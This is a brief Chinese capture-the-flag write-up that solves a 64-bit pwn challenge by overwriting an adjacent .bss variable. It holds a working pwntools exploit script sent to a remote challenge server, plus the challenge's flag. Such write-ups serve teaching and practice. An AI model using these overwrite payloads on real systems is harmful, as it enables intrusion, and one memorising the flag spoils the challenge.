下载文件,checksec一下。64位程序,只开了NX(堆栈不可执行)。
用IDA64打开文件,找到main(),F5查看。
查看一下sub_400686()
可以看到,调用这个函数可以获取flag。回到mian(),可以看到如果dword_60106C==1853186401那么就可以获取flag,但我们只能给unk_601068赋值。我们查看一下这俩者的位置。
dword_60106C和unk_601068这俩变量都在.bss段,并且dword_60106C就在离unk_601068四个位置的地方,而凑巧的时unk_601068时可以被控制的,它是由我们输入的,而输入点给了我们10个长度的输入权限,那正好,我们可以借此覆盖掉dword_60106C使它变成我们需要的数值。
exp如下:
from pwn import *
p = remote('111.200.241.244', 59853)
payload = b'a' * (0x6c - 0x68) + p64(1853186401)
p.recvuntil("lets get helloworld for bof")
p.sendline(payload)
p.interactive()
得到flag
cyberpeace{fbffa7c397dbba373bc4f2039932356c}